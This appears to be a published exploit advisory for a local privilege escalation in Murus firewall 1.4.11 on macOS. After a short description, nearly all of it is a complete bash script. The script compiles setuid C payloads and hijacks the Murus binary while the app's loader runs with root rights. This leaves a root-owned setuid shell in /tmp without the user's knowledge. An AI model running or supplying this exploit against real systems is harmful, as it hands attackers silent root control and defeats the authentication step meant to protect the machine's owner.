Murus 1.4.11 Local Privilege Escalation

Murus version 1.4.11 suffers from a local privilege escalation vulnerability.


MD5 | d389d0f0661a3286a1adb58fb2b586f0

# I recently blogged about the prevalence of escalation hijack vulnerabilities amongst macOS applications. One example of this is the latest version of Murus
# firewall. By design it requires the user to authenticate every time in order to obtain the access it needs to modify the firewall settings.

# If a local attacker or malware is running as an admin user (ie has write access to /Applications/) they can subvert this process to silently obtain root access
# without the user knowing.

# https://m4.rkw.io/murus1.4.11.sh.txt
# 9c332c07747e11c78c34f9dc8d30127250d95edd5e58a571ed1a005eafd32301
# -------------------------------------------------------------------------------
#!/bin/bash

##################################################################
###### Murus 1.4.11 local root privilege escalation exploit ######
###### by m4rkw - https://m4.rkw.io/blog.html ######
##################################################################

echo "compiling payloads..."

cat > /tmp/murus411_exp.c <<EOF
#include <unistd.h>
int main()
{
setuid(0);
seteuid(0);
execl("/bin/bash","bash","-c","rm -f /tmp/murus411_exp; /bin/bash",NULL);
return 0;
}
EOF

gcc -o /tmp/murus411_exp /tmp/murus411_exp.c

if [ ! $? -eq 0 ] ; then
rm -f /tmp/murus411_exp.c
echo "failed to compile, dev tools may not be installed"
exit 1
fi

rm -f /tmp/murus411_exp.c

cat > /tmp/murus411_exp2.c <<EOF
#include <unistd.h>
#include <stdlib.h>
int main()
{
setuid(0);
seteuid(0);
system("chown root:wheel /tmp/murus411_exp");
system("chmod 4755 /tmp/murus411_exp");
system("mv /Applications/Murus.app/Contents/MacOS/Murus.orig /Applications/\
Murus.app/Contents/MacOS/Murus");
execl("/Applications/Murus.app/Contents/MacOS/Murus","Murus",NULL);
return 0;
}
EOF

gcc -o /tmp/murus411_exp2 /tmp/murus411_exp2.c
rm -f /tmp/murus411_exp2.c

echo "waiting for loader..."

while :
do
ps auxwww |grep '/Applications/Murus.app/Contents/MacOS/MurusLoader' \
|grep -v grep 1>/dev/null
if [ $? -eq 0 ] ; then
break
fi
done

echo "planting payload..."

mv /Applications/Murus.app/Contents/MacOS/Murus /Applications/Murus.app/\
Contents/MacOS/Murus.orig
mv /tmp/murus411_exp2 /Applications/Murus.app/Contents/MacOS/Murus

echo "waiting for payload to trigger..."

while :
do
r=`ls -la /tmp/murus411_exp |grep root`
if [ "$r" != "" ] ; then
break
fi
sleep 0.1
done

echo "kapow"

/tmp/murus411_exp


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